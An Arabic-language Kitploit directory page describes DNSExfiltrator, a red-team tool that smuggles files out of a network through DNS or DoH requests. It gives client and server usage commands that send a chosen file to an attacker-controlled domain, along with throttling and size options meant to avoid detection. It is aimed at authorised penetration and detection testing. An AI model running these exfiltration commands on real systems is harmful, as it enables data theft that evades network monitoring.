Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DNSExfiltrator — تسريب البيانات عبر قناة خفية لطلبات DNS | Kitploit
أدوات/GitHubGitHub/arno0x/dnsexfiltrator
تسريب البياناتاختبار الاختراقالفريق الأحمرتحليل DNS
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

تسريب البيانات عبر قناة خفية لطلبات DNS

عرض المستودع
884190منذ 8 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

DNSExfiltrator

المؤلف: Arno0x0x - @Arno0x0x

يسمح DNSExfiltrator بنقل (تسريب) ملف عبر قناة مغلفة لطلبات DNS. هذه هي أداة اختبار تسرب بيانات تسمح بتسريب البيانات عبر قناة مغلفة.

لدى DNSExfiltrator جانبان:

  1. الجانب الخادم (Server)، يأتي كسكريبت بايثون واحد (dnsexfiltrator.py)، يعمل كخادم DNS مخصص، يستقبل الملف.
  2. الجانب العميل (Client) (جانب الضحية)، يأتي بثلاثة أشكال:
  • dnsExfiltrator.cs: سكريبت C# يمكن تجميعه باستخدام csc.exe لتوفير ملف تنفيذي مُدار لنظام ويندوز.
  • Invoke-DNSExfiltrator.ps1: سكريبت PowerShell يوفر نفس الوظائف عن طريق تغليف تجميع dnsExfiltrator.
  • dnsExfiltrator.js: سكريبت JScript وهو تحويل لتجميع DLL الخاص بـ dnsExiltrator باستخدام DotNetToJScript، ويوفر نفس الوظائف تمامًا.

لكي يعمل كل شيء يجب أن تمتلك اسم نطاق (Domain Name) وتعين سجل DNS (NS) لذلك النطاق للإشارة إلى الخادم الذي سيشغل الجانب الخادم dnsexfiltrator.py.

الميزات

بشكل افتراضي، يستخدم DNSExfiltrator خادم DNS المحدد من قبل النظام، ولكن يمكنك أيضًا تعيين خادم محدد لاستخدامه (مفيد لأغراض التصحيح أو لتشغيل الجانب الخادم محليًا على سبيل المثال).

بدلاً من ذلك، باستخدام المعامل h، يمكن لـ DNSExfiltrator تنفيذ DoH (DNS عبر HTTP) باستخدام خوادم Google DoH أو CloudFlare DoH.

بشكل افتراضي، يتم ترميز البيانات المراد تسريبها بتشفير base64URL لتناسب طلبات DNS. ومع ذلك، قد تقوم بعض محلّلات DNS بكسر هذا الترميز (وهذا منطقي لأن FQDN ليس من المفترض أن تكون حساسة لحالة الأحرف على أي حال) عن طريق العبث بحساسية حالة الأحرف (أحرف كبيرة أو صغيرة) وهو أمر مهم بالتأكيد لعملية الترميز/فك الترميز. لتجاوز هذه المشكلة يمكنك استخدام العلامة -b32 لفرض ترميز البيانات بتشفير Base32، والذي يأتي مع زيادة طفيفة في الحجم. إذا كنت تستخدم CloudFlare DoH، يتم تطبيق ترميز base32 تلقائيًا.

يدعم DNSExfiltrator تشفير RC4 أساسي للبيانات المسربة، باستخدام كلمة المرور المقدمة لتشفير/فك تشفير البيانات.

يوفر DNSExfiltrator أيضًا بعض الميزات الاختيارية لتجنب الاكتشاف:

  • تقليل سرعة الطلبات (Throttling) للبقاء أكثر خفاءً عند تسريب البيانات.
  • تقليل حجم طلب DNS (بشكل افتراضي سيحاول استخدام أكبر عدد متاح من البايتات في كل طلب DNS لتحقيق الكفاءة).
  • تقليل حجم تسمية DNS (Label) (بشكل افتراضي سيحاول استخدام أكبر حجم تسمية مدعوم وهو 63 حرفًا).

التبعيات

التبعية الوحيدة هي في الجانب الخادم، حيث يعتمد سكريبت dnsexfiltrator.py على المكتبة الخارجية dnslib. يمكنك تثبيتها باستخدام pip:

root@kitploit:~
pip install -r requirements.txt

الاستخدام

الجانب الخادم (SERVER SIDE)

قم بتشغيل سكريبت dnsexfiltrator.py مع تمرير اسم النطاق وكلمة مرور فك التشفير المراد استخدامها:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

الجانب العميل (CLIENT SIDE)

يمكنك إما استخدام النسخة المجمعة، أو غلاف PowerShell (وهو في الأساس نفس الشيء) أو غلاف JScript. في أي حال، المعاملات هي نفسها، مع اختلاف طفيف في طريقة تمريرها في PowerShell.

1/ استخدام الملف التنفيذي المُجمَّع بلغة C# لويندوز (والذي يمكنك العثور عليه في دليل release):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [إلزامي] اسم الملف المراد تسريبه.
      domainName:     [إلزامي] اسم النطاق لاستخدامه في طلبات DNS.
      password:       [إلزامي] كلمة المرور المستخدمة لتشفير البيانات المراد تسريبها.
      -b32:           [اختياري] استخدام ترميز base32 للبيانات. قد يكون مطلوبًا من قبل بعض محلّلات DNS التي تكسر حالة الأحرف.
      h:              [اختياري] استخدام خوادم Google أو CloudFlare DoH (DNS عبر HTTP).
      DNS_Server:     [اختياري] اسم خادم DNS أو عنوان IP لاستخدامه في طلبات DNS. القيمة الافتراضية هي خادم النظام.
      throttleTime:   [اختياري] الوقت بالمللي ثانية للانتظار بين كل طلب DNS.
      requestMaxSize: [اختياري] الحد الأقصى للحجم بالبايت لكل طلب DNS. القيمة الافتراضية هي 255 بايت.
      labelMaxSize:   [اختياري] الحد الأقصى للحجم بالحروف لكل تسمية (نطاق فرعي) في طلب DNS. القيمة الافتراضية هي 63 حرفًا.

2/ استخدام سكريبت PowerShell، قم باستدعائه بأي طريقة تفضلها (ربما تعرف طرقًا عديدة لاستدعاء سكريبت PowerShell) مع معاملات السكريبت. المثال الأساسي:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

تحقق من قسم الأمثلة (EXAMPLES) في ملف السكريبت لمزيد من أمثلة الاستخدام.

3/ استخدام سكريبت JScript، قم بتمرير نفس الوسائط تمامًا كما تفعل مع الملف التنفيذي المستقل لويندوز:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

أو مع بعض الخيارات:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • سيسأل البعض عن تشفير AES بدلاً من RC4، أعرف... قد أضيفه لاحقًا.
  • عرض وقت النقل المقدر.
  • تحليل أفضل للمعاملات (أنا كسول جدًا لتعلم كيفية استخدام مكتبة تحليل المعاملات في C#، أتمنى لو كانت بسيطة مثل Python).

إخلاء مسؤولية (DISCLAIMER)

هذه الأداة مصممة للاستخدام بطريقة قانونية وشرعية فقط:

  • إما على أنظمتك الخاصة كوسيلة للتعلم، أو إظهار ما يمكن فعله وكيف، أو اختبار آليات الدفاع والكشف لديك.
  • أو على أنظمة تم تفويضك رسميًا وشرعيًا لإجراء تقييمات أمنية عليها (اختبار الاختراق، تدقيقات أمنية).

نقتبس من مؤلفي Empire: لا توجد طريقة لبناء أدوات هجومية مفيدة لصناعة الأمن السيبراني الشرعية مع منع الجهات الخبيثة من إساءة استخدامها في نفس الوقت.

تنزيل الأداة